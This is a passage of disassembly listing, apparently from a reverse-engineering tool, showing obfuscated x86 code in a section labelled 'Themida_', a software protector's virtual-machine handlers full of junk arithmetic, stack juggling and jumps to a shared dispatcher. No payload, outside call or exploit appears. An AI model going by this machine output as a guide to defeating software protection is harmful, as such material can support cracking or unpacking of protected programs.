		jmp	loc_55C368
; ---------------------------------------------------------------------------


loc_55D9FD:				; CODE XREF: Themida_:0055ED48j
		push	esi
		mov	esi, 1F7D449Ch
		shr	esi, 4
		add	esi, 1556AB2h
		jmp	loc_55CE4A
; ---------------------------------------------------------------------------


loc_55DA11:				; CODE XREF: Themida_:0055957Aj
		sub	eax, 2FCA2AE5h
		add	eax, ebx
		jmp	loc_554654
; ---------------------------------------------------------------------------


loc_55DA1D:				; CODE XREF: Themida_:00555881j
		add	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 3BCE143Eh
		add	edi, 27F634D8h
		and	edi, 4C9F7215h
		and	edi, 33790D7Dh
		not	edi
		jmp	loc_55CDD8
; ---------------------------------------------------------------------------


loc_55DA3F:				; CODE XREF: Themida_:0055DE54j
		mov	esi, 2
		mov	ebp, esi
		pop	esi
		sub	ecx, 69857883h
		add	ecx, ebp
		add	ecx, 69857883h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55470D
; ---------------------------------------------------------------------------


loc_55DA64:				; CODE XREF: Themida_:0055A854j
		not	ebx
		dec	ebx
		shr	ebx, 2
		sub	ebx, 274F063Ch
		add	esi, ebx
		pop	ebx
		pop	ebx
		jmp	loc_5555ED
; ---------------------------------------------------------------------------


loc_55DA79:				; CODE XREF: Themida_:0055B752j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5A5C7499h
		jmp	loc_556C0F
; ---------------------------------------------------------------------------


loc_55DA89:				; CODE XREF: Themida_:00553CB3j
		mov	ecx, 7F334B92h
		dec	ecx
		jmp	loc_55A18D
; ---------------------------------------------------------------------------


loc_55DA94:				; CODE XREF: Themida_:00553EF4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 79B01E78h
		add	ebx, 7D7570C4h
		sub	ebx, 0D24C69FDh
		sub	edx, ebx
		pop	ebx
		push	ecx
		push	28A74266h
		mov	ecx, [esp]
		jmp	loc_55B666
; ---------------------------------------------------------------------------


loc_55DAC1:				; CODE XREF: Themida_:005575E9j
		or	edi, 47A609Ah
		shl	edi, 8
		jmp	loc_555499
; ---------------------------------------------------------------------------


loc_55DACF:				; CODE XREF: Themida_:00557D07j
		shl	ebp, 1
		xor	ebp, 3A506075h
		sub	edi, ebp
		pop	ebp
		sub	ebx, edi
		pop	edi
		sub	ebx, esi
		add	ebx, 4A7820B7h
		jmp	loc_553DDF
; ---------------------------------------------------------------------------


loc_55DAEA:				; CODE XREF: Themida_:00552E85j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	edi, 2C7B5FC5h
		jmp	loc_559A83
; ---------------------------------------------------------------------------


loc_55DAFE:				; CODE XREF: Themida_:0055DFAAj
		add	esp, 4
		mov	cl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	70C3h
		mov	[esp], ebx
		push	edx
		mov	dl, 1Dh
		mov	bh, 0E9h
		xor	bh, dl
		pop	edx
		push	cx
		mov	cl, 0FEh
		add	bh, 35h
		sub	bh, cl
		jmp	loc_55798F
; ---------------------------------------------------------------------------


loc_55DB33:				; CODE XREF: Themida_:00555CDDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55B430
; ---------------------------------------------------------------------------


loc_55DB47:				; CODE XREF: Themida_:0055D3ACj
		add	edi, 58C1A5A8h
		push	ebp
		jmp	loc_559A78
; ---------------------------------------------------------------------------


loc_55DB53:				; CODE XREF: Themida_:0055C59Bj
		add	esp, 4
		jmp	loc_55E707
; ---------------------------------------------------------------------------


loc_55DB5E:				; CODE XREF: Themida_:005536B6j
		add	edx, 4
		jmp	loc_558BE7
; ---------------------------------------------------------------------------


loc_55DB69:				; CODE XREF: Themida_:0055998Dj
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_55B4CA
; ---------------------------------------------------------------------------


loc_55DB78:				; CODE XREF: Themida_:0055E8EEj
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55DB86:				; CODE XREF: Themida_:00559C82j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 2
		jmp	loc_55DDA3
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ecx
		push	7698h
		mov	[esp], edx
		push	ecx
		mov	cl, 0A3h
		mov	dl, 9
		add	dl, cl
		pop	ecx
		mov	ch, 31h
		xor	ch, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F177
; ---------------------------------------------------------------------------


loc_55DBC0:				; CODE XREF: Themida_:00558B09j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 66EC0F12h
		and	eax, 26EC4841h
		xor	eax, 26EC0804h
		jmp	loc_556B96
; ---------------------------------------------------------------------------


loc_55DBE5:				; CODE XREF: Themida_:00554E93j
		push	ebp
		jmp	loc_55CE70
; ---------------------------------------------------------------------------


loc_55DBEB:				; CODE XREF: Themida_:005558CBj
		pop	esp
		push	esi
		jmp	loc_55EC7A
; ---------------------------------------------------------------------------


loc_55DBF2:				; CODE XREF: Themida_:00558DFFj
		mov	al, 0F8h
		not	al
		not	al
		and	al, 0B7h
		jmp	loc_559809
; ---------------------------------------------------------------------------


loc_55DBFF:				; CODE XREF: Themida_:0055333Aj
		mov	[esp], edx
		mov	edx, 481E681Ch
		xor	edx, 278D25E4h
		sub	edx, 37ED01D1h
		mov	edi, edx
		pop	edx
		add	eax, 74FB2A26h
		jmp	loc_553A92
; ---------------------------------------------------------------------------


loc_55DC20:				; CODE XREF: Themida_:005563A6j
		mov	edi, 2DB73944h
		and	edi, 7B551AC8h
		jmp	loc_556774
; ---------------------------------------------------------------------------


loc_55DC30:				; CODE XREF: Themida_:005592D5j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55EC16
; ---------------------------------------------------------------------------


loc_55DC3D:				; CODE XREF: Themida_:00558D4Fj
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559F0D
; ---------------------------------------------------------------------------


loc_55DC4F:				; CODE XREF: Themida_:00559F70j
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_5573DF
; ---------------------------------------------------------------------------


loc_55DC5B:				; CODE XREF: Themida_:00556596j
		mov	edx, 75D21FB2h
		add	edx, 1
		jmp	loc_55B2F3
; ---------------------------------------------------------------------------


loc_55DC6B:				; CODE XREF: Themida_:00554386j
		sub	ebx, 41930028h
		neg	ebx
		jmp	loc_55BEA8
; ---------------------------------------------------------------------------


loc_55DC78:				; CODE XREF: Themida_:0055AA14j
		pop	ebp
		add	edi, ebp
		jmp	loc_55ECB4
; ---------------------------------------------------------------------------


loc_55DC80:				; CODE XREF: Themida_:00556EACj
		push	edx
		mov	dl, 6
		jmp	loc_55AE47
; ---------------------------------------------------------------------------


loc_55DC88:				; CODE XREF: Themida_:005575DEj
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	dword ptr [edi+24h]
		jmp	loc_553F64
; ---------------------------------------------------------------------------


loc_55DC99:				; CODE XREF: Themida_:0055C363j
		push	dword ptr [esp]
		jmp	loc_55D0EC
; ---------------------------------------------------------------------------


loc_55DCA1:				; CODE XREF: Themida_:0055AF3Aj
		push	1969h
		mov	[esp], edi
		mov	edi, 9D4FBFCCh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B648
; ---------------------------------------------------------------------------


loc_55DCBE:				; CODE XREF: Themida_:0055B27Dj
		and	ecx, 51037C26h
		shr	ecx, 7
		xor	ecx, 651F043Ch
		jmp	loc_5551EE
; ---------------------------------------------------------------------------


loc_55DCD2:				; CODE XREF: Themida_:0055894Cj
		shr	edx, 3
		xor	edx, 62E02032h
		shl	edx, 8
		jmp	loc_555EF8
; ---------------------------------------------------------------------------


loc_55DCE3:				; CODE XREF: Themida_:00555A65j
		xor	dl, 75h
		jmp	loc_556A7E
; ---------------------------------------------------------------------------


loc_55DCEB:				; CODE XREF: Themida_:005577D5j
		add	eax, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5579F8
; ---------------------------------------------------------------------------


loc_55DD05:				; CODE XREF: Themida_:005569F7j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55DD11:				; CODE XREF: Themida_:00557B88j
		mov	ecx, esp
		jmp	loc_554A7B
; ---------------------------------------------------------------------------


loc_55DD18:				; CODE XREF: Themida_:005586E8j
		shr	esi, 3
		sub	esi, 0A734C919h
		jmp	loc_55E828
; ---------------------------------------------------------------------------


loc_55DD26:				; CODE XREF: Themida_:005542F7j
		mov	ecx, 1D4C4CCBh
		jmp	loc_55C9B4
; ---------------------------------------------------------------------------


loc_55DD30:				; CODE XREF: Themida_:0055DF0Dj
		xor	eax, [esp]
		pop	esp
		push	ecx
		mov	ch, 0CFh
		or	ch, 72h
		shr	ch, 1
		push	bx
		push	ecx
		mov	ch, 0FDh
		mov	bl, 87h
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	ch, 73h
		add	ch, bl
		add	ch, 73h
		pop	bx
		not	ch
		shl	ch, 1
		jmp	loc_554AD8
; ---------------------------------------------------------------------------


loc_55DD5E:				; CODE XREF: Themida_:0055EE6Cj
		sub	esi, 24C20D7h
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55DD77:				; CODE XREF: Themida_:0055BC3Ej
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	edi, 79716A56h
		add	edi, ecx
		jmp	loc_555BBE
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 529925B2h
		jmp	loc_55BFEA
; ---------------------------------------------------------------------------


loc_55DD9B:				; CODE XREF: Themida_:0055DFF5j
		push	dword ptr [esp]
		jmp	loc_55EBCB
; ---------------------------------------------------------------------------


loc_55DDA3:				; CODE XREF: Themida_:0055DB95j
		push	edi
		mov	edi, 1E9B3A4Ah
		or	edi, 7FB86FCCh
		shr	edi, 6
		add	edi, 51276438h
		add	ebp, 343F1E2Ah
		add	ebp, 7FC6EC0h
		jmp	loc_559391
; ---------------------------------------------------------------------------


loc_55DDC9:				; CODE XREF: Themida_:005564F9j
		sub	ebp, 0DD97DB88h
		add	ebx, ebp
		pop	ebp
		jmp	loc_5537CD
; ---------------------------------------------------------------------------


loc_55DDD7:				; CODE XREF: Themida_:0055E661j
		mov	al, 3Bh
		xor	al, dl
		mov	edx, [esp]
		add	esp, 4
		sub	al, 0A4h
		dec	al
		add	al, 0
		dec	al
		jmp	loc_554FB1
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	589Fh
		jmp	loc_5589B7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55B336
; ---------------------------------------------------------------------------


loc_55DE21:				; CODE XREF: Themida_:0055EFCDj
		add	dh, 0DCh
		shr	dh, 5
		shl	dh, 1
		add	dh, 45h
		push	7B15h
		mov	[esp], eax
		mov	ah, 0C3h
		shr	ah, 5
		add	ah, 18h
		xor	ah, 1Ch
		shr	ah, 1
		xchg	ch, ah
		neg	ch
		xchg	ch, ah
		add	ah, 43h
		push	ebx
		jmp	loc_55410F
; ---------------------------------------------------------------------------


loc_55DE50:				; CODE XREF: Themida_:0055C9A7j
		mov	[esp], ebp
		push	esi
		jmp	loc_55DA3F
; ---------------------------------------------------------------------------


loc_55DE59:				; CODE XREF: Themida_:0055C46Fj
		mov	esi, esp
		jmp	loc_55D11B
; ---------------------------------------------------------------------------


loc_55DE60:				; CODE XREF: Themida_:00555494j
		pop	ebp
		pop	edi
		add	ebx, 71C5CA07h
		push	ebx
		xor	dword ptr [esp], 2AE9321Bh
		pop	eax
		jmp	loc_554D9B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_558E41
; ---------------------------------------------------------------------------


loc_55DE81:				; CODE XREF: Themida_:0055BAE6j
		xor	edx, 36C94E52h
		shr	edx, 2
		jmp	loc_55CF09
; ---------------------------------------------------------------------------


loc_55DE8F:				; CODE XREF: Themida_:00559548j
		add	edi, 75C245FCh
		add	edi, esi
		sub	edi, 75C245FCh
		jmp	loc_55EB59
; ---------------------------------------------------------------------------


loc_55DEA2:				; CODE XREF: Themida_:00553EC2j
		add	esp, 4
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55480E
; ---------------------------------------------------------------------------


loc_55DEB2:				; CODE XREF: Themida_:0055B1F8j
		push	small 1A14h
		pop	si
		jmp	loc_5544A7
; ---------------------------------------------------------------------------


loc_55DEBD:				; CODE XREF: Themida_:0055775Cj
		add	eax, 3C4821B6h
		mov	esi, eax
		pop	eax
		jmp	loc_55412D
; ---------------------------------------------------------------------------


loc_55DECA:				; CODE XREF: Themida_:005563D5j
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		jmp	loc_555992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55DED9:				; CODE XREF: sub_5747D8-209A7j
		push	eax
		jmp	loc_55D561
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_55C313
; ---------------------------------------------------------------------------


loc_55DEEB:				; CODE XREF: Themida_:0055CDD3j
		push	dword ptr [esp]
		pop	edx
		push	524Fh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55DD30
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55DF20:				; CODE XREF: Themida_:00559DA3j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55DF25:				; CODE XREF: Themida_:00556421j
		xor	di, si
		jmp	loc_559797
; ---------------------------------------------------------------------------


loc_55DF2D:				; CODE XREF: Themida_:0055AE81j
		mov	ch, 16h
		jmp	loc_55B33C
; ---------------------------------------------------------------------------


loc_55DF34:				; CODE XREF: Themida_:0055B18Fj
		mov	edx, 65FD12CEh
		neg	edx
		jmp	loc_55D070
; ---------------------------------------------------------------------------


loc_55DF40:				; CODE XREF: Themida_:00556205j
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_55A024
; ---------------------------------------------------------------------------


loc_55DF4A:				; CODE XREF: Themida_:00553C75j
		push	edx
		jmp	loc_55D4A5
; ---------------------------------------------------------------------------


loc_55DF50:				; CODE XREF: Themida_:00555025j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_554F41
; ---------------------------------------------------------------------------


loc_55DF5B:				; CODE XREF: Themida_:00559723j
		add	esp, 4
		xor	ebx, 93D4179h
		pop	edx
		jmp	loc_55C8B2
; ---------------------------------------------------------------------------


loc_55DF6A:				; CODE XREF: Themida_:0055A36Dj
		add	esi, 4
		sub	esi, 4
		jmp	loc_5575A2
; ---------------------------------------------------------------------------


loc_55DF7B:				; CODE XREF: Themida_:0055D167j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6859506Fh
		sub	ebp, 15320BB5h
		add	ebp, 26E4DA99h
		push	ecx
		jmp	loc_55699E
; ---------------------------------------------------------------------------


loc_55DF96:				; CODE XREF: Themida_:00554A76j
		mov	al, 0D5h
		mov	cl, 0F3h
		xor	cl, al
		mov	eax, [esp]
		add	esp, 4
		xor	ah, cl
		mov	ecx, [esp]
		jmp	loc_55DAFE
; ---------------------------------------------------------------------------


loc_55DFAF:				; CODE XREF: Themida_:00554595j
		push	esi
		push	ebx
		mov	ebx, 65C95BFEh
		inc	ebx
		dec	ebx
		not	ebx
		jmp	loc_556B3F
; ---------------------------------------------------------------------------


loc_55DFBF:				; CODE XREF: Themida_:00553942j
		mov	ebx, 641477D8h
		add	esi, ebx
		pop	ebx
		sub	esi, 16CC5C9Ch
		shl	esi, 1
		jmp	loc_5585F9
; ---------------------------------------------------------------------------


loc_55DFD4:				; CODE XREF: Themida_:005560EAj
		and	cl, 0EBh
		push	ebx
		jmp	loc_55B8D9
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	3720h
		mov	[esp], esi
		push	5401h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55DD9B
; ---------------------------------------------------------------------------


loc_55DFFA:				; CODE XREF: Themida_:0055B4D9j
		push	16C7h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55C1C9
; ---------------------------------------------------------------------------


loc_55E00F:				; CODE XREF: Themida_:00555030j
		add	edi, 0FD0F24D1h
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		pop	ebp
		add	edx, 5CF54908h
		sub	edx, edi
		sub	edx, 5CF54908h
		sub	edx, 364D4417h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ecx


loc_55E03A:				; CODE XREF: Themida_:0055AA5Ej
					; Themida_:0055ED35j
		push	ebx
		push	ebp
		mov	ebp, 6A9B7BB6h
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55BFB2
; ---------------------------------------------------------------------------


loc_55E055:				; CODE XREF: Themida_:0055E89Cj
		pop	dword ptr [esp]
		jmp	loc_55E775
; ---------------------------------------------------------------------------


loc_55E05D:				; CODE XREF: Themida_:0055C069j
		sub	[esp], ebx
		pop	ebx
		push	ebp
		mov	ebp, 7A8B1A07h
		jmp	loc_553F8D
; ---------------------------------------------------------------------------


loc_55E06C:				; CODE XREF: Themida_:005596F1j
		mov	ebx, esp
		jmp	loc_55BA6E
; ---------------------------------------------------------------------------


loc_55E073:				; CODE XREF: Themida_:005578DEj
		add	edx, 7AEE145Dh
		push	esi
		mov	esi, 3262A281h
		jmp	loc_556EEA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55C664
; ---------------------------------------------------------------------------


loc_55E095:				; CODE XREF: Themida_:00556D72j
		push	edi
		mov	edi, 67756308h
		jmp	loc_558E17
; ---------------------------------------------------------------------------


loc_55E0A0:				; CODE XREF: Themida_:0055CBABj
		pop	ebp
		jmp	loc_555D85
; ---------------------------------------------------------------------------


loc_55E0A6:				; CODE XREF: Themida_:005562A3j
		or	al, bl
		pop	bx
		shl	al, 8
		shl	al, 6
		inc	al
		jmp	loc_5557F2
; ---------------------------------------------------------------------------


loc_55E0B7:				; CODE XREF: Themida_:005532D0j
		push	ebp
		push	36E86F81h
		pop	ebp
		inc	ebp
		push	402Ch
		mov	[esp], ebp
		dec	dword ptr [esp]
		pop	ebp
		jmp	loc_5567BD
; ---------------------------------------------------------------------------


loc_55E0D0:				; CODE XREF: Themida_:0055BA71j
		mov	[esp], edi
		jmp	loc_5578BA
; ---------------------------------------------------------------------------


loc_55E0D8:				; CODE XREF: Themida_:0055C897j
		add	dword ptr [esp+4], 4F4B1420h
		jmp	loc_5587DB
; ---------------------------------------------------------------------------


loc_55E0E5:				; CODE XREF: Themida_:005537BEj
		mov	al, dl
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	bl, al
		jmp	loc_5540E5
; ---------------------------------------------------------------------------


loc_55E104:				; CODE XREF: Themida_:0055443Fj
		pop	ebx
		jmp	loc_5542C8
; ---------------------------------------------------------------------------


loc_55E10A:				; CODE XREF: Themida_:0055325Bj
		pop	ecx
		pop	ebx
		push	dx
		not	byte ptr [esp]
		pop	dx
		push	bx
		jmp	loc_555871
; ---------------------------------------------------------------------------


loc_55E11A:				; CODE XREF: Themida_:00557A27j
		push	small 4C03h
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E127:				; CODE XREF: Themida_:00557417j
		mov	ecx, [esp]
		push	edi
		jmp	loc_556EFF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55CF76
; ---------------------------------------------------------------------------


loc_55E13E:				; CODE XREF: Themida_:0055D514j
		add	esp, 4
		jmp	loc_5549AE
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0AFh
		jmp	loc_55E1CB
; ---------------------------------------------------------------------------


loc_55E15A:				; CODE XREF: Themida_:00556DD2j
		dec	esi
		shr	esi, 5
		push	eax
		jmp	loc_55804E
; ---------------------------------------------------------------------------


loc_55E164:				; CODE XREF: Themida_:0055C566j
		mov	[esp], ebx
		push	esi
		push	6B927D54h
		jmp	loc_559EF0
; ---------------------------------------------------------------------------


loc_55E172:				; CODE XREF: Themida_:0055A6F6j
		mov	edi, esp
		jmp	loc_555945
; ---------------------------------------------------------------------------


loc_55E179:				; CODE XREF: Themida_:00558EA0j
		push	ebx
		mov	ebx, 73601888h
		sub	eax, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CD46
; ---------------------------------------------------------------------------


loc_55E18D:				; CODE XREF: Themida_:0055D5A2j
		mov	eax, 75A74909h
		add	edx, eax
		pop	eax
		push	ebx
		jmp	loc_5590F0
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		jmp	loc_55EF14
; ---------------------------------------------------------------------------


loc_55E1A3:				; CODE XREF: Themida_:0055CBB6j
		pop	edx
		sub	eax, 343064Eh
		add	eax, edx
		push	esi
		jmp	loc_556DD7
; ---------------------------------------------------------------------------


loc_55E1B1:				; CODE XREF: Themida_:0055C403j
		neg	edx
		shl	edx, 1
		sub	edx, 27F01480h
		add	ebx, edx
		pop	edx
		add	ebx, esi
		jmp	loc_5533BA
; ---------------------------------------------------------------------------


loc_55E1C5:				; CODE XREF: Themida_:0055E8A4j
		push	ecx
		jmp	loc_55AF6D
; ---------------------------------------------------------------------------


loc_55E1CB:				; CODE XREF: Themida_:0055E155j
		add	al, bl
		push	edx
		jmp	loc_5581FC
; ---------------------------------------------------------------------------


loc_55E1D3:				; CODE XREF: Themida_:0055CE01j
		pop	edx
		jmp	loc_5564FE
; ---------------------------------------------------------------------------


loc_55E1D9:				; CODE XREF: Themida_:00558A04j
		mov	dh, al
		mov	cl, dh
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	cl, 3
		sub	bl, cl
		pop	ecx
		sub	bl, 0Ah
		add	bl, al
		add	bl, 0Ah
		jmp	loc_554678
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E202:				; CODE XREF: Themida_:005539ADj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_55B2C9
; ---------------------------------------------------------------------------


loc_55E211:				; CODE XREF: Themida_:00553671j
		sub	esi, 377DCCFAh
		add	edi, esi
		pop	esi
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55D216
; ---------------------------------------------------------------------------


loc_55E22B:				; CODE XREF: Themida_:0055D5FCj
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 336745F2h
		jmp	loc_55E4C5
; ---------------------------------------------------------------------------


loc_55E23B:				; CODE XREF: Themida_:0055948Dj
		add	edi, 51D94B63h
		inc	edi
		add	edi, 97678B4Ch
		xor	esi, edi
		pop	edi
		add	edx, esi
		pop	esi
		mov	dword ptr [edx], 0
		mov	edx, [esp]
		add	esp, 4
		xor	edx, edx
		push	ecx
		push	1BCBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2D9655D6h
		neg	edx
		xor	edx, 0D269AA2Eh
		add	ecx, edx
		pop	edx
		push	7A31h
		mov	[esp], ebx
		mov	ebx, 470C4858h
		or	ebx, 640258D7h
		jmp	loc_559CB2
; ---------------------------------------------------------------------------


loc_55E29E:				; CODE XREF: Themida_:0055CE7Dj
		sub	ebp, 6381E34Bh
		mov	edx, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_556C8E
; ---------------------------------------------------------------------------


loc_55E2AE:				; CODE XREF: Themida_:00556400j
		push	edx
		mov	edx, 40141A14h
		add	edx, 0B4E7650h
		xor	edx, 1472CF6Eh
		and	ecx, edx
		pop	edx
		and	ecx, 3207675Ch
		xor	ecx, 760E5D52h
		sub	eax, ecx
		pop	ecx
		jmp	loc_55A1E2
; ---------------------------------------------------------------------------


loc_55E2D7:				; CODE XREF: Themida_:00556DC1j
		shr	eax, 1
		push	edx
		mov	edx, 76446A6Dh
		or	eax, edx
		jmp	loc_5569CE
; ---------------------------------------------------------------------------


loc_55E2E6:				; CODE XREF: Themida_:0055C21Cj
		push	ebp
		mov	ebp, 569D4EBAh
		inc	ebp
		or	ebp, 1B34227Dh
		add	ebp, 44A986BFh
		jmp	loc_556D67
; ---------------------------------------------------------------------------


loc_55E2FE:				; CODE XREF: Themida_:0055692Cj
		add	esp, 4
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		jmp	loc_559AD8
; ---------------------------------------------------------------------------


loc_55E312:				; CODE XREF: Themida_:00559ADBj
		pop	eax


loc_55E313:				; CODE XREF: Themida_:005572D0j
		push	3F18h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C46E
; ---------------------------------------------------------------------------


loc_55E324:				; CODE XREF: Themida_:0055B2FCj
		sub	edx, 1
		inc	edx
		jmp	loc_55421F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	52F5h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_55AA34
; ---------------------------------------------------------------------------


loc_55E352:				; CODE XREF: Themida_:00557102j
		shr	dh, 7
		jmp	loc_55976D
; ---------------------------------------------------------------------------


loc_55E35A:				; CODE XREF: Themida_:0055E711j
		pop	edx
		jmp	loc_553CAC
; ---------------------------------------------------------------------------


loc_55E360:				; CODE XREF: Themida_:00553394j
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_55B62F
; ---------------------------------------------------------------------------


loc_55E36F:				; CODE XREF: Themida_:0055B3AFj
		mov	[esp], ecx
		mov	cl, 0D2h
		shr	cl, 5
		xor	cl, 0ACh
		push	eax
		mov	ah, 0FEh
		mov	bh, ah
		pop	eax
		add	bh, cl
		pop	ecx
		dec	bh
		inc	bh
		not	bh
		add	bh, 0ACh
		jmp	loc_55EC2A
; ---------------------------------------------------------------------------


loc_55E391:				; CODE XREF: Themida_:0055385Ej
		xchg	cl, bl
		inc	bl
		sub	bl, 1Dh
		shl	bl, 5
		jmp	loc_555886
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7111h
		mov	[esp], edx
		push	0F69h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_555AF0
; ---------------------------------------------------------------------------


loc_55E3D2:				; CODE XREF: Themida_:0055B472j
		push	ecx
		mov	ecx, 81828005h
		add	edx, ecx
		jmp	loc_555731
; ---------------------------------------------------------------------------


loc_55E3DF:				; CODE XREF: Themida_:0055A841j
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5552B5
; ---------------------------------------------------------------------------


loc_55E3EF:				; CODE XREF: Themida_:0055A28Bj
		add	esp, 4
		and	[edi+1Ch], edx
		jmp	loc_554AF9
; ---------------------------------------------------------------------------


loc_55E3FD:				; CODE XREF: Themida_:0055C500j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55AF2A
; ---------------------------------------------------------------------------


loc_55E411:				; CODE XREF: Themida_:005547F1j
		pop	ebx
		add	esp, 4
		add	dl, cl
		pop	cx
		add	al, dl
		pop	edx
		xor	bl, al
		jmp	loc_55990E
; ---------------------------------------------------------------------------


loc_55E426:				; CODE XREF: Themida_:0055737Ej
		xor	bx, dx
		jmp	loc_55A979
; ---------------------------------------------------------------------------


loc_55E42E:				; CODE XREF: Themida_:00554FE0j
		add	bl, 30h
		sub	bl, 17h
		add	bl, 61h
		push	small 3E53h
		mov	[esp], cx
		jmp	loc_555981
; ---------------------------------------------------------------------------


loc_55E444:				; CODE XREF: Themida_:00553E23j
		btc	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E44F:				; CODE XREF: Themida_:0055F030j
		sub	ch, 7Ch
		shl	ch, 5
		and	ch, 26h
		sub	ch, 0D1h
		jmp	loc_55D6F9
; ---------------------------------------------------------------------------


loc_55E460:				; CODE XREF: Themida_:0055AA8Aj
		pop	edx
		pop	ebp
		push	eax
		mov	eax, 370D4E18h
		push	edi
		mov	edi, 6B6C5306h
		jmp	loc_55AEE8
; ---------------------------------------------------------------------------


